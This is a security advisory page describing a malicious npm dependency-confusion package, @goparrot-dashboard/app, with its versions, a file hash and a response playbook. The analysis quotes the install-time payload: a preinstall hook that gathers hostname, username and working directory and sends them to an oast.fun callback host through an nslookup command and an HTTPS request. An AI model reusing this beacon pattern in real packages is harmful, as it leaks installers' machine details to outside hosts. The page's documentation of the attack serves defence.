NIST deprecates RSA-2048 from 2030. Find every one of them before attackers do.
Part of a larger attack: @goparrot-dashboard published 20 malicious packages. See the full campaign →
Malicious package

@goparrot-dashboard/appnpm

Advisory published Updated

@goparrot-dashboard/app is a confirmed malicious npm package (MAL-2026-18492) that opens a backdoor for remote access (malicious versions 0.0.1, 0.0.2, 0.0.3). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in @goparrot-dashboard/app (npm)

MAL-2026-18492
Immediate action
Remove the package, then rotate any secrets the build/runtime could reach.
npm uninstall @goparrot-dashboard/app

What this malware does

@goparrot-dashboard/app is a dependency-confusion probe: it takes a name in a @goparrot-dashboard scope that its publisher created on npm, next to GoParrot's public @goparrot scope, so a build that resolves that scope from npm runs its code instead of a private package of the same name. In 0.0.2 a preinstall script runs node index.js on npm install, which collects the hostname, the whoami user and the working directory, looks up a DNS name built from the user and host names under iuczektmwpudhwqnsbkgc6m8nx2dgn5vc.oast.fun with nslookup, and sends the same values in a curl request to https://iuczektmwpudhwqnsbkgc6m8nx2dgn5vc.oast.fun/rootxravi-poc, an interactsh callback host; 0.0.1 and 0.0.3 only print a marker when imported. The npm account devtest91001 published it on 2026-11-01 together with 24 other @goparrot-dashboard and @goparrot-dashboard-api packages that print the same "rootxravi-poc-security" marker.

The package declares a preinstall lifecycle script that runs node index.js automatically on npm install. index.js collects installer host identifiers — hostname, the output of whoami, and process.cwd() — and transmits them to a hardcoded Interactsh (oast.fun) callback host at iuczektmwpudhwqnsbkgc6m8nx2dgn5vc.oast.fun via two channels: a DNS lookup against a subdomain that embeds the collected username and hostname (execSync("nslookup ${whoami}.${hostname}.rootxravi.${CALLBACK}")), and an HTTPS GET to https://<CALLBACK>/rootxravi-poc?... carrying the same data. The behavior fires without user action during installation and leaks identifying information about the installer's machine to an attacker-controlled OAST endpoint. Author comments labeling the code as a proof-of-concept do not change the dataflow — installing the package produces an install-time beacon to a third-party callback host.

Malicious versions

3 flagged
0.0.10.0.20.0.3

Indicators of compromise (SHA-256)

15fc3978543eda6ea8e55289945a35f5244e9a6bd47959bee908ab293cdfd658

Detection & response playbook

Backdoor / remote access
  1. Find it

    Search your lockfiles and build artifacts for @goparrot-dashboard/app (3 malicious versions).

  2. If you installed it — respond

    @goparrot-dashboard/app establishes remote access, so treat any host that installed it as fully compromised. Isolate the machine, remove the package, rotate all credentials it could reach, and rebuild from a trusted image rather than cleaning in place — a backdoor may have planted additional persistence.

  3. Did it already run?

    If @goparrot-dashboard/app was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Frequently asked questions

No. @goparrot-dashboard/app on npm has been identified as a malicious package (versions 0.0.1, 0.0.2, 0.0.3 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-022513

References

Credits

  • Amazon Inspector · finder
  • InvisiRisk, Inc. · finder

Detect & block this

O3 blocks @goparrot-dashboard/app-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the C2 callback and severs the channel.

Explore

@goparrot-dashboard/app (npm) malicious package — MAL-2026-18492 | O3 Security